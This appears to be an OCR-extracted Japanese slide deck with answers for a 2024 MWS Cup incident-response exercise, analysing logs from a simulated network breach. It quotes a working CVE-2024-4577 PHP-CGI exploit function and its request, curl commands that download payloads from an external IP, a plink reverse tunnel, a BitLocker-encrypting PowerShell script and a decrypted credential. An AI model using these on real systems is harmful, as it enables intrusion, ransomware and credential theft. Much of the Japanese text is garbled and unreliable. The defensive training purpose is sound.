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Enter the recovery key for this drive
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1hnl

=z AERE K !

Bitlocker®BZHEIZDUNT., HIZHIDH =YL,

FEEIC5IShis . MEIORHIENERIEL TLL EDFEHLH D
o TN, MER)\1DEIREENHNE UL,

EDROJ. TJOF>00. WebS—/\—DF7 I X000 &MU,
1—=72 - ALY S TEDKISIRERENMEEE TN SHNC U TER
L/(/\O




BitLockerzF#IFHIT 645 VY LTV 2 —




lkaspersky BACSEE — EAOBEE  S—hF—  AHER & RATHISE v

Kaspersky. BitLockerZ{EB U CET—FZIIESI{LT D
=I5 >3 A1 7 [ShrinkLocker] Z4F7E

202485H28H

CDS Y ADIT 7 (IBEDWindows/\—>3 > &RHU, €NICHE U TBitLockerz s
MCUTRSAITEEBES(EITIEVWSHIRERERI APV N eEAUVLET . £
. Z7AIINDERERSIEHICEEATS I EEHBRUET,




—T oA Ly DDITIRIEEKE
Publicsubnet  ClientNet 172.16.1.0/24

Server Net 172.16.2.0/24
101 ~ p F\'

- = =
WSO01 Ws02 WS03
DCo1 WindowsServer2019  WindowsServer2019 WindowsServer2019
WindowsServer2019
101 102 103
D
r 103 \J
- P Public subnet  proxy Net 172.16.3.0/24
FILEO2
WindowsServer2022

Proxy01 A =Gy b

Amazon Linux

Public subnet  wep Net 172.16.4.0/2

Web01
WindowsServer2022




R CHfTT A0
s ZT> RiRk-> RDEDROY

n 15— hDEGRICERE UIcProxydd O
s Webty—) \—@TU‘EXDU“

Public subnet Client Net 172.16.1.0/24

Server Net 172.16.2.0/24
ves
103 \/
Public subnet Proxy Net 172.16.3.0/24
FILEO2
wsServer2022




fRfr9 4509

EDRAO Y

e Soliton InfoTrace Mark Il @O 4%
Soliton Dataset TIEMEN TR T—E LRED T F+—< v b

o FEXSINTULSIEHR
O ADEE - 1T
7274 ILDER - BIBR
LR L RE
v b —0 G - Ul
Windows4{ RN > k O 1&%#R
HmE




fRfr9 4509

Proxya 4%
e OSSHT7AXLY T b7 Squid D7 ERBY

o SN TUL\BHIFEHR
95472 PP FLA
HTTP YO IR MAY Y F
HTTP 7V £ X 5tURL
HTTP LARVRART—H2RXRO—F
D5AT7 M BEE (Fy7O—F) Snf-7—220D5Et
DI53AT 2V h~EE (Fova—Fk) LEET—2=085E
)22 73
User-Agent
HE




fitr9 5045

WebHY—/N\—DF7 o x0O%
e OSSMFOXx< Y7 k7 Apache Web Server D749 X045

o REHEINTULHIFER
95472 P77 FLRA
HTTP UV TR AV Yk
HTTP 7 - £ X 5tURL
HTTP LARVRRT—HZRXRa—FK
BRARE
User-Agent
HE




L

0. Prologue
1

1.1. Impact
1

2.1. Initial Access
1

4. Lateral Movement
1

6.3 . Lateral Movement
1

8.3. Incident Response

1

1.2. Impact
1

2.2. Initial Access
1

5. Credential Access
2

7. Exfiltration
1

8.4. Incident Response
2

ANTI MALWARE ENGINEERING WORKSHOP 2023

.-3. Impact
1

3.1. Discovery
1

6.1. Lateral Movement
1

8.1. Incident Response
1

8-5. Incident Response

2

1.4. Impact
1

3.2. Discovery
1

6.2. Lateral Movement
1

8.2. Incident Response
1

8-6. Incident Response
2

FLAG/ZERFERK : 20pts

st iz Spts

12



MWS 2024

[e5] e

auh

A\ Y 4

13



i

s TFX A I T 4 4%:Visual Studio Code
EEE—F% lLogl ITTH LT, BRI NAISA4 LTSNS
i:zTOD rEiﬁ”ﬁ’C?ﬁUJ&TJ WHWEIZICTYY é’?i%) B9y
— X FILERTL., grepx{ES

s OJBEFEITY K gre
Linux®°macOSIFREMIZA >R b—)L
WindowsDiH&. WSLCygwing A4 VXA F—ILLTES ERLY

s Web 7 5 % Google Chrome
BEEERE T T HDIZHERA

'ﬂllll




1.1. Impact
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1.1. Impact

FileO2 Tk SN-xEZEDODO T *tEZET 5

tail FILE@2.log

18/01/2824 17:32:59.253 +8900 loc=en-US type=ITM2 sn=22484 lv=5 evt=sys subEvt=stop os=Win com="FILE®@2"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=4d2a@3fe-5c85-4c67-8bda-8077b91c66b6

csid=S-1-5-21-2480531102-3678326410-2574593537 ip=172.16.2.103,fe80::3102:7da8:606a:4d81
mac=06:b2:8f:68:¢c8:33 sTime="©9/26/2024 10:28:08.016" ver=3.2.6.35 logVer=3.2.6
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1.1. Impact

FileO2TEREfk S N-REND O T 2RI 5

tail FILE@2.log

18/01/2824 17:32:59.253 +08900 loc=en-US type=ITM2 sn=22484 lv=5 evt=sys subEvt=stop os=Win com="FILE®@2"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=4d2a@3fe-5c85-4c67-8bda-8077b91c66b6

csid=S-1-5-21-2480531102-3678326410-2574593537 ip=172.16.2.103,fe80::3102:7da8:606a:4d81
mac=06:b2:8f:68:¢c8:33 sTime="©9/26/2024 10:28:08.016" ver=3.2.6.35 logVer=3.2.6

A. 2024/10/01 17:32:59




1.2. Impact
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1.2. Impact

FileO2~AD ) E—FrOJA OO %EEL., V—XIPZHERT S

cat FILE@2.log | grep "subEvt=loginR"

10/01/2024 17:32:49.816 +89€0 loc=en-US type=ITM2 sn=22368 lv=5 evt=session
com="FILE@2" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=4d2a@3fe-5c05-4c67-8bda-8077b91c66b6

csid=S5-1-5-21-2480531102-3678326410-2574593537 ip=l72.16.2.183,fe89::3182:7d38:6863:4d81
mac=06:b2:8f:68:c8:33 usr="Viehmann" usrDomain="EDEN-COLLEGE.LOCAL" srcCom="-" srcIP="172.16.2.101"

srcPort=59134 evtRecID=238821
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1.3. Impact
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1.3. Impact

DCO1TMpowershellEEDN O Y Z RS

cat DCO1l.log | grep -i powershell




1.3. Impact

rdpclip.exed 5 PowerShelld o 4 > koI2a< > RZBEY fF(77=
0N &FHE

10/01/2024 17:25:48.240 +0980 loc=en-US type=ITM2 sn=73272 lv=5 evt=clip subEvt=copy os=Win com="DCO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-482b-a8d9-2a28739576895
csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce®
mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4
psGUID={F2C10936-4937-4E2F-ABAC-5784669EE@78} psPath="C:\Windows\System32\rdpclip.exe"
winTitle="Administrator: Windows PowerShell" ciipliype=lext clipData="$strComputer = ""FILE®@2.
eden-college.local"""

18/81/2024 17:25:48.771 +0900 loc=en-US type=ITM2 sn=73273 lv=5 evt=clip subEvt=paste os=Win com="DCe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-4082b-a8d9-2a2873957095
csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce®
mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4
psGUID={81D62D11-68BC-4BB4-A2FB-B281C348A07E} psPath="C:\Windows\System32\conhost.exe"
winTitle="Administrator: Windows PowerShell" clipType=Text clipData="$strComputer = ""FILE®©2.
eden-college.local""" spsGUID={F2C18936-4937-4E2F-ABAC-5784669EE@78}
spsPath="C:\Windows\System32\rdpclip.exe"




1.3. Impact

Z ME%IZConsoleHost_history.txt ~NDEEIAHH FE,
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18/81/2824 17:25:50.646 +0900 loc=en-US type=ITM2 sn=73274 lv=5 evt=file subEvt=create os=Win com="DCO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-402b-a8d9-2a2873957095
€sid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ced
mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4
pSGUID={26B96E7A-9902-43E3-8B35-B84885B1CFAB} psPath="C:\Windows\System32\WindowsPowerShell\v1l.
@\powershell.exe"
path="C:\Users\Viehmann\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
drvType=HDD

18/01/2024 17:25:50.646 +0900 loc=en-US type=ITM2 sn=73275 lv=5 evt=file subEvt=close os=Win com="DCe1"
domain="EDEN-COLLEGE" profile="MWSCup_server"” tmid=f@2ccal4-4aae-402b-a8d9-2a2873957095
€sid=5-1-5-21-17200672083-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ced
mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann" usrDomain="EDEN-COLLEGE" sessionID=4
psGUID={26B96E7A-9902-43E3-8B35-B84885B1CFAB} psPath="C:\Windows\System32\WindowsPowerShell\v1l.
@\powershell.exe"
path="C:\Users\Viehmann\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt"
drvType=HDD read=2 write=44 sha256=21e21caa988c@0c084a359e2396546da23d9bbb7461369556f3af655dc8e6678
sTime="10/01/2024 17:25:50.646" crTime="10/01/2024 17:25:50.646" acTime="10/01/2024 17:25:50.646"
moTime="10/01/2024 17:25:50.646" size=44 new=1




1.3. Impact

awk T2 )y IJiR— KTHY R TH-REZIRY HT

cat DCO1.log | grep -i powershell | grep "subEvt=copy" | awk -F

"clipbata=""' '{print $2}' | awk '{print substr($e, 1,
length(%$0)-2)}"




1.3. Impact

awkT¥ Yy IR— FTRYFIF-REZRY HT

$strComputer = ""FILE@2.eden-college.local""
(Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_ EncryptableVolume where (DrivelLetter =
$env:SystemDrive  "")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction

Stop) .GetConversionStatus().ConversionStatus

Get-WmiObject -ComputerName $strComputer -Class Win32_TPM -Namespace 'root¥CIMv2¥Security¥MicrosoftTPM' -ErrorAction Stop
$Win32_EncryptableVolume = Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_EncryptableVolume where
(DriveLetter = ~""$env:SystemDrive "")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction Stop

$Win32_EncryptableVolume = Get-WmiObject -ComputerName $strComputer -Query ""Select * from Win32_EncryptableVolume where
(DrivelLetter = ~""$env:SystemDrive "")"" -Namespace 'root¥CIMv2¥Security¥MicrosoftVolumeEncryption' -ErrorAction Stop
$Win32_EncryptableVolume.ProtectKeyWithNumericalPassword().ReturnValue

$VolumeKeyProtectorID Numeric = $Win32_EncryptableVolume.GetKeyProtectors(3).VolumeKeyProtectorID
$Win32_EncryptableVolume.GetKeyProtectorNumericalPassword($VolumeKeyProtectorID_Numeric)

$Win32_EncryptableVolume.Encrypt(0,0x00000001) .ReturnValue
$Win32_EncryptableVolume.GetConversionStatus().ConversionStatus

$Win32_ OperatingSystem = Get-WmiObject Win32_ OperatingSystem -ComputerName $strComputer
$Win32_OperatingSystem.Reboot ()




1.3. Impact

awkT¥ Yy IR— FTRYFIF-REZRY HT

A. $Win32_OperatingSystem.Reboot()




1.4. Impact

VT, BEL2DHERAED LS IZEASNE=IEZTART-,
BERICHBINE-7ObaILBLUVI—TF—REEZ &L,

70O 3R IZDONTIE, ROEFTEAEL
7 : WinRM. € : RDP, 7 : SMB. I : SSH. # : DCOM

- 74—y bk 70 FOLDOFEE_1—H—4% (case insensitive)
- BI&HI: 1_user




1.4. Impact

Rdpclip.exe T2 ) v JiR— FBBRIES N TNT, EOEMITRR
FAVKali DT, RDPTHEMLTETH I ENTM D,

a—H—2Z+ 09 h(ZEEE

10/01/2024 17:25:48.240 +0980 loc=en-US type=ITM2 sn=73272 lv=5 evt=clip subEvt=copy os=Win com="DCO1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=f@2ccal4-4aae-482b-a8d9-2a28739576895

csid=S-1-5-21-1720067203-2924128797-2708492278 ip=172.16.2.101,fe80::74c9:7795:ebll:ce®
usrDomain="EDEN-COLLEGE" sessionID=4

mac=06:00:f2:4b:34:cd rcCom="kali" rcIP=192.168.0.24 usr="Viehmann"
psGUID={F2C10936-4937-4E2F-ABAC-5784669EE@78} psPath="C:\Windows\System32\rdpclip.exe"
winTitle="Administrator: Windows PowerShell" clipType=Text clipData="$strComputer = ""FILEG2.

eden-college.local"""

A. 14 _Viehmann




2.1. Initial Access
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2.1. Initial Access

PHPEAED O ADEEFHA T ER D

cat WEBQ1l.log | grep php | grep "subEvt=start"

10/01/2824 17:04:05.341 +09e0 loc=ja-IP type=ITM2 sn=23955 lv=6 rs=4 trs=394 rf=C16:C8:L8:R8 evt=ps
subEvt=start os=Win com="Web®1" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=108dc826-9087-4520-be64-3992cc4f80a5 csid=S-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101,
feB80::9556:4ca:371b:5ed3 mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{86A9C761-9E4A-4937-BF23-18EF319447E8} psPath="C:\xampp\php\php-cgi.exe" cmd=" d cgi.force_redirect=0 d
disable_functions=\""\"" d allow_url_include=1 d auto_prepend_file=php://input” psID=7736 parentGUID=
{B7AF706B-65E0-4959-813F-EDEF40636AB0} parentPath="c:\xampp\apache\bin\httpd.exe" psUser="Green"
psDomain="EDEN-COLLEGE" arc=x64 sha256=9aceb32fddea7bb95da6+54086b5b279b9f5362048b087091d5c92fdaSb9733bef
shal=c2b35a32036Ffbf9cf783d5de82b86c4f7ela78b55 md5=7043dbfd7534b5cd34c5338977c4bbab company="The PHP
Group" copyright="Copyright © The PHP Group" fileDesc="CGI / FastCGI" fileVer="8.2.12" product="PHP"
productVer="8.2.12" crTime="09/17/2024 17:55:23.593" acTime="09/17/2024 17:55:23.000" moTime="18/25/2023
©6:56:48.000" size=69120 sig=None

A.8.2.12




2.2. Initial Access

WEENWEBOLIZERAT A-OIZFHRALI-RBHEDOCVEREEZE
A Ko

- &4 : CVE-2024-9014 (case insensitive)




2.2. Initial Access

Apache® 04

182.20.219.61 - - [@1/0ct/2024:17:04:05 +090e] "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3De

+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.
1" 206 76018 "-" "python-requests/2.31.8"

EDRO4

10/01/2024 17:04:05.825 +0900 loc=ja-JP type=ITM2 sn=23958 lv=5 rs=4 trs=402 evt=ps subEvt=start os=Win
com="Web®1" domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=188dc826-9087-4520-be64-3992cc4f80a5
csid=S-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101,fe80::9556:4ca:371b:5ed3

mac=06:bf:16:7c:d3:c7 usr="green” usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{6BA6379B-BBF7-4FE5-BCA3-3ES5BAGED5386} psPath="C:\Windows\SYSTEM32\cmd.exe" cmd="/s /c ""whoami"""
psID=7480 parentGUID={86A9C761-9E4A-4937-BF23-18EF319447E8} parentPath="C:\xampp\php\php-cgi.exe"
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CVE-2024-5585

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, the fix for CVE-2024-1874 does not work if the
command name includes trailing spaces. Original issue: when using proc_open() command with array syntax, due to
insufficient escaping, if the arguments of the executed command are controlled by a malicious user, the user can supply

arguments that would execute arbitrary commands in Windows shell.
Source: PHP Group

CVE-2024-5458

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, due to a code logic error, filtering functions
such as filter_var when validating URLs (FILTER_VALIDATE_URL) for certain types of URLs the function will result in invalid
user information (username + password part of URLs) being treated as valid user information. This may lead to the
downstream code accepting invalid URLs as valid and parsing them incorrectly.

Source: PHP Group

CVE-2024-4577 A\ Known exploited 44 public exploit WG Used for ransomware

In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows,
if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in
command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which
may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run

arbitrary PHP code on the server, etc.
Source: PHP Group
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[o]®

The attack can be detected by looking for a « Soft-Hyphen » character (%AD encoded) inside 2 HTTP request URL,

For exemple :

https://example. com/test. php?%ADd+al low url include%3d1+%ADd+auto prepend file¥3dphp://input




headers = {"Content-Type"™: "application/x-www-form-urlencoded"}

php_settings = ["-d cgi.force_redirect=8", '-d disable functions=""", "-d allow url_include=1", "-d auto_prepend_file=php://input”]

settings_str = Jjoin(php_settings).replace("-", "%AD").replace("=", "%3D").replace(" ", "+")
payload = f"/php-cgi/php-cgi.exe?{settings_str}"

def detect php_cgi injection(target, command="whoami"):
try:
encoded_command = basefd.bédencode(f"echo '[5]'; system('{command}'); echo "[E]';".encode()).d
php_payload = f"<2php phpinfo(); echo eval(basebd decode('{encoded_command}'))}; die()2»"
payload_path = f"{target.rstrip('/"' )} {payload}"
response = requests.post(payload_path, headers=headers, data=php_payload, timeout=5, verify=False)
output_match = re.search{r"\[S\](.*?)\[E\]1", response.text, re.DOTALL)
if output_match:
extracted_output = output_match.group(l).strip()
return extracted output
return None
except reguests.exceptions.ReguestException:

return None




2.2. Initial Access

loOCXOoPoCH 5 CVE-2024-457T7TTCRASN-Z ENDMN DB

A. CVE-2024-4577




Apache Friends Download Hosting Community About Search

Download

XAMPP is an easy to install Apache distribution containing MariaDB, PHP, and Perl. Just .
download and start the installer. It's that easy. Installers created using InstallBuilder. Documentation/FAQs

There is no real manual or handbook
for XAMPP. We wrote the
documentation in the form of FAQs.
Have a burning question that's not

== XAMPP for Windows 8.0.30, 8.1.25 & 8.2.12

answered here? Try the Forums or
Stack Overflow.

8.0.30/PHP 8030 ' hats md5 shait 144 Mb
Included? « Linux FAQs

Version Checksum Size

« Windows FAQs
« OS X FAQs

8.125/PHP 8125 | hats md5 shat I 148 Mb
Included?




3.1. Discovery

[fRE2.2 THESN-MBEEZIAL. HEELHHFHMNEADY
—)lx’é’ﬂ‘?‘zﬂ—hbfi?_b’cmé EMNFEFE SNz, LITDER
b, &ZET HY—ILEEN,

- SharpHound

- Mimikatz

- PowerView

- Seatbelt

- CrackMapExec
- SharpSecDump




3.1. Discovery

PHPA~®Mexploiti= & > T, H T A+t R A php-cgiexe &> T,
cmd.exeTav Y FAETENS,

CNICEH>TEFTSNIzaT Y FEHIEBT 5

cat WEBQ1l.log | grep php-cgi.exe | grep "subEvt=start" | grep

cmd.exe | awk -F 'cmd=""' '{print $2}' | awk -F '" psID=' '{print
$1}°




3.1. Discovery

whoami
""hostname
""whoami""
systeminfo
""tasklist""

mn lldir\ll n

""curl -0 sl.exe http://13.112.37.182/s.exe""
n lldir\ll n

sl.exe -c all""

""dip""

""dip""

""copy 20241001170642 BloodHound.zip ..¥htdocs¥a.zip""
""dir ..¥htdocs""

""curl -o m.msi http://13.112.37.182/hs.msi""

""dip""

msiexec /quiet /gn /i m.msi




3.1. Discovery

sl.exelZB9 5 EFOITER 5

cat WEBO1l.log | grep sl.exe | grep "subEvt=start"

18/81/2824 17:05:55.188 +0900 loc=ja-IP type=ITM2 sn=24122 lv=6 rs=5 trs=527 rf=C16:C8:L8:R8 evt=ps
subEvt=start os=Win com="Web®1l" domain="EDEN-COLLEGE" profile="MWSCup_server"
tmid=108dc826-9687-4520-beb4-3992cc4f80a5 csid=S-1-5-21-265103748-3596779852-4006323636 ip=172.16.4.101
fe80::9556:4ca:371b:5ed3 mac=06:bf:16:7c:d3:c7 usr="green" usrDomain="EDEN-COLLEGE" sessionID=2 psGUID=
{878F8291-8BDB-4D31-A352-E589AF4C79CB} psPath="C:\xampp\php\sl.exe" cmd="-c all" psID=6580 parentGUID=
{6E7BOF13-5AE4-4111-A844-6790403B7E64} parentPath="C:\Windows\SYSTEM32\cmd.exe" psUser="Green"
psDomain="EDEN-COLLEGE" arc=x86 sha256=e3c4743814f21ca22ca7a2e53b129197fd79b2ee8b3adebd2e8752608b09%ebdf
shal=b542fd4c4bbl55cd1f56117cf15daat9c8bcb459 md5=150e36ef957f485ed864542cb7b736d6 crTime="10/01/2024
17:85:32.655" acTime="10/01/2024 17:085:32.670" moTime="10/01/2024 17:05:32.670" size=1052160 sig=None




@ 5473 security vendors flagged this file as malicious

e3cd4743814f21ca22cavaZe53b129197fd79b2eeBb3adebd2e8752608b0%ebdf

SharpHound.exe

Community

Score peexe  detect-debug-environment  long-sleeps  assembly

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3

Join our Community and enjoy additional community insights and crowdsourced detections, plus an AP key to automate chec

Popular threat label (O hacktool.sharphound/msil Threat categories hacktool  trojan  pua

Security vendors' analysis
AhnLab-v3 @ HackTool/Win.SharpHound.C5207316 Alibaba

AliCloud @ HackTool:MSIL/SharpHound.B AlYac

Antiy-AvL @ RiskWare/MSIL.Sharphound Arcabit

Avast @ Win32:HacktoolX-gen [Trj]




3.2. Discovery

BRES.ATHERAINI=Y—ILICKYIRESINT-FHRIZ. HEDT 7
AILELTHEIZEEEHEIATWA I EAERESN, TODT7
1IVRBRZTER K

- E&451: filename.txt (case sensitive)




3.2. Discovery

BloodHoundD EfT#ER #a.zipb LTaE—L TS

/s /c ""copy 20241001170642 BloodHound.zip ..¥htdocs¥a.zip""

ApacheD 77 AOJzR45&E. MBEDIPH L azipzFvroA—
FLTWLS

182.208.219.61 - - [©1/0ct/2824:17:087:52 +090@] "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect¥%3De
+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1
1" 2ee 76747 "-" "python-requests/2.31.0"

182.20.219.61 - - [01/0ct/2024:17:08:02 +0900] "GET /a.zip HTTP/1.1" 20@ 12735 "-" "Mozilla/5.6 (X11;
Linux x86_64; rv:189.0) Gecko/20100101 Firefox/115.e"

A. a.zip



BloodHound

WEBO1.EDEN-COLLEGE.LOCAL A K

WSO01.EDEN-COLLEGE.LOCAL
COLLEGE.LOCAL

WSO01.EDEN-CC

GREEN@EDEN-COLLEGE.LOCAL

Raw Query



4. Lateral Movement

BEL-ET A, Web01lh5WSO0LIZHHERERZE L TULV=
o=, WSOLICHEERZTo=BICFIAL=70kraL

I:I




4. Lateral Movement

WEBO1H 5WS01~ADBEEANS

cat WSQ1l.log | grep "evt=net" | grep "srcIP=172.16.4.101"

R— £5985 (WinRM) ~DEIEMNTETE

16/01/20824 17:11:42.233 +0900 loc=en-US type=ITM2 sn=19690 lv=5 evt=net subEvt=acpt os=Win com="WSe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-b87e-99344c4888ef
€sid=S-1-5-21-161232702-1208963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:cab4

mac=06:9%9e:69:eb:93:c3 sessionID=8 psGUID={23370FC9-8E90-4918-B1A4-EBCB13CCF7AB} psPath="System"
srcIP=172.16.4.181 srcPort=53574 dstIP=172.16.1.161 dstPort=5985




4. Lateral Movement

WInRMBE:E®D 70 X #EHR 5
cat WS@1l.log | grep -i wsmprovhost

CUTHEEEDY—/IN\—D L IJ7A4ILZRELTLS,

Z DcurlD#FH 7 8+ X H wsmprovhost.exe A. WinRM

10/81/2024 17:12:14.235 +8900 loc=en-US type=ITM2 sn=19122 lv=5 evt=ps subEvt=start os=Win com="WSe1"
domain="EDEN-COLLEGE" profile="MWSCup_server" tmid=e4560ff2-c679-454f-bB7e-99344c4888ef
sid=S-1-5-21-161232702-120963121-2455692666 ip=172.16.1.101,fe80::18ec:472b:67df:caé4d
ac=06:9e:69:eb:93:c3 sessionID=0 psGUID={198334B3-8208-4E61-9C66-FD12C7B6DBF4}

psPath="C: \Windows\system32\curl.exe" cmd="-o m.msi http://13.112.37.182/hs.msi" psID=1884 parentGUID=

3F970C75-E988-485A-B477-6DB2ED32F14D} parentPath="C:\Windows\system32\wsmprovhost.exe" psUser="Green"
psDomain="EDEN-COLLEGE" arc=x64 sha256=d76d@8c@4dfad434de®33ca220456b5b87e6b3f0108667bd61304142c54addbes
shal=c9ecdedde3c60f99c69bbcad332f4162e0bf252f md5=eac53ddafb5cc9e780a7ccO86ce7b2bl crTime="07/13/2022
17:82:42.571" acTime="©7/13/2022 17:082:42.602" moTime="87/13/2022 17:02:42.602" size=530944 sig=Valid
signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811" cerSN="33 @8 @80 83 3c 89 c6 6a
b 45 bb 1f bd @@ 0 ee e e3 3c" validFrom="09/63/2821 ©3:23:41.000" validTo="©9/02/2022 ©3:23:41.000"




5. Credential Access

AZETLLBR, AEBFWSOLUAET SROSADT 7 A

"C:¥Users¥green¥Documents¥ViehmannCredential.rtsz

CDITF7AIIZOVWTITEEEMNOAF LI, @ipZ7A4ILHED
“ViehmannCredential.rtsz ")

_0)77 %: ﬁ_#fﬁ?’%) CETHRLONDFBERFHRD OB, 1—F &L

- 74— v b A—HFH /AXT— | (case sensitive)
- [EZ 145 : Henderson_Elllllleganunnnnnnnnnnyas!!!




5. Credential Access

E2bk:WSOLIZA VAR R—ILENTWBY I I T7DO—EIXLUTTHS

Python Launcher
aws-cfn-bootstrap
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.29.30139

Microsoft Visual C++ 2019 X64 Additional Runtime - 14.29.30139
Royal TS V7

AWS Tools for Windows

Mark Il Updater

Mark Il Recorder

AWS PV Dirivers

Amazon SSM Agent




rtsz extension

IART EE BE awkExd —a-2Z #mE 97 B50EREB

Ex b BEERETAFEBICRELEFT. SBICLI T IILZICDNTELLL. CE55%F
TELIEEL.

Royal Apps
hitps:f/support.royalapps.com : to... - ZOWS—FERT

Open a rtsz-file directly from ftp-server

Open a rtsz file (Royal-TS File) directly from a (s)ftp-server, as offered by Keepass. This means that
Royal-TS can be used on any computer without the need __.




5. Credential Access

I27AIWDHEZRLE. A —BEIUESESIN/ART
— R PEBEDY—N\—DEREHERSENTES,

<CredentialPassword>HORud4w7zSQ5sXSnpcmDF8y77PMoHBBk2I/scYLkNAGMFtatAZAEMswdObRdR9j+4ddeKqwl/iwd
+XBDGt/8VDWxK4/k1tKQgtnsIp/LD4UM=</CredentialPassword>
<CredentialUsername>Viehmann</CredentialUsername>

<URI>DC@l.eden-college.local</URI>



rtsz decrypt

IAT vavbErd #@E Ef —1—R Dz #E  £2&R3

CH EEEREAFBICRELET. SBCEBTILFCOVTEHELLR, I55%
ZELZEN.

Royal Apps

https:/isupport.royalapps.com » to... - ZO»—FERT
What encryption is used in the rtsz files when enabled?
Royal TS is using AES 256 bit encryption for passwords and documents. If no password is provided, a
static key is used to encrypt the passwords to avoid them ...

O GitHub
https:/igithub.com » HyperSine s ho... - ¢ : L

Reveal password encrypted by Royal TS
Reveal password encrypted by Royal TS. 1. How does it work? See here. 2. How to use? Make sure you
have Python3 and have cryptography package installed.




Reveal password encrypted by Royal TS

1. How does it work?

See here.

2. How to use?

* Make sure you have Python3 and have cryptography package installed.

You can install it via

$ pip3 install cryptography

Usage:
RoyalTsCipher.py <enc|dac> [-p Password] <plaintext|ciphertext>
<enc|dec> “enc” for encryption, “dec” for decryption.
This parameter must be specified.

[-p Password] The password that Royal TS Document uses.
This parameter must be specified.

<plaintext|ciphertext> Plaintext string or ciphertext string.
This parameter must be specified.



5. Credential Access

RITIER

[:—(userﬁﬁkali)—[~/how-does-RoyalTS-encrypt-passwordlpvthon3]
$

python RoyalTSCipher.py dec HORu4w7zSQ5sXSnpcmDF8y77PMoHBBk2I/scYLKNAOMFtatAZAEMswdObRdR9j+4dd0OKq
wW/iwd+XBDGt/8VDWxK4/k1tKQgtnsJIp/LD4UM=
Anya_Smug213th!

A. Viehmann_Anya Smug213th!




@Dashboard OGetting Started W Edit Properties: DCRDP X b

O You can specify username and password, assign a predefined credential or you specify a credential by name (ideal when you share

 Remote Desktop / your configuration). You can also use the credentials defined in the parent folder. About sharing documents.

@ Remote Desktop

O Display Options Configuration:  Specify username and password v
> Conuman For domain accounts use: domain¥username
| A Credentials

Username:  Viehmann
B Tasks
. 1
#= Window Mode Password: Anya Smug213th! = &
Great
@ Dashboard

i RovalS Automatic Logon
oyal Server

F; Cariira (Ratowaw

' fal’d Coamaand



metasploit-framework / documentation / modules / post / windows / gather / credentials / (i

& bwatters-r7 Land #19173, Add CarotDAV FTP PackRat module @B X f8c69e4 - 5 months ago <0 History

adi_irc.md

aim.md
avira_password.md
carotdav_ftp.md
chrome.md
comodo.md

coolnovo.md

Last commit message

Added Adi IRC and Windows version to documentation scena...

spelling fixes on docs

add missing docs

Added CarotDAV and Windows version to documentation sce...

spelling fixes on docs
spelling fixes on docs

spelling fixes on docs

Last commit date

5 months ago
last year

4 years ago

5 months ago
last year

last year

last year




6.1. Lateral Movement

MRS THRBLI-I LTI v ILZFIAL T, ImpacthZETEINi-
DTIXEWVNEHBITES, OTERHLEFER, MEBEIZEK-

THERAENE=T7MIDFASN, WEBOLZHEAEE LT, A
%*%¢7—7E%679>A®F>$»ﬂﬁﬁéht:tﬁﬁ

E:L‘.\—G Zo

FOEFI7FANBELUVETaOR U IRFDA T avEEZ &,




6.1. Lateral Movement

- DA —Iv bk CEFTFIFAINEG FETAR DA T3
(case sensitive)

- 145 : plink.exe #E1TL. ZD3IHMN
Henderson@web01.eden-college.local -
pw_Ellllllleganunnnnnnnnnnyas!!! -P 22 -2 -4 -T -N -C -R
12345:127.0.0.1:445TH - =156

plink.exe_Henderson@web01.eden-college.local -
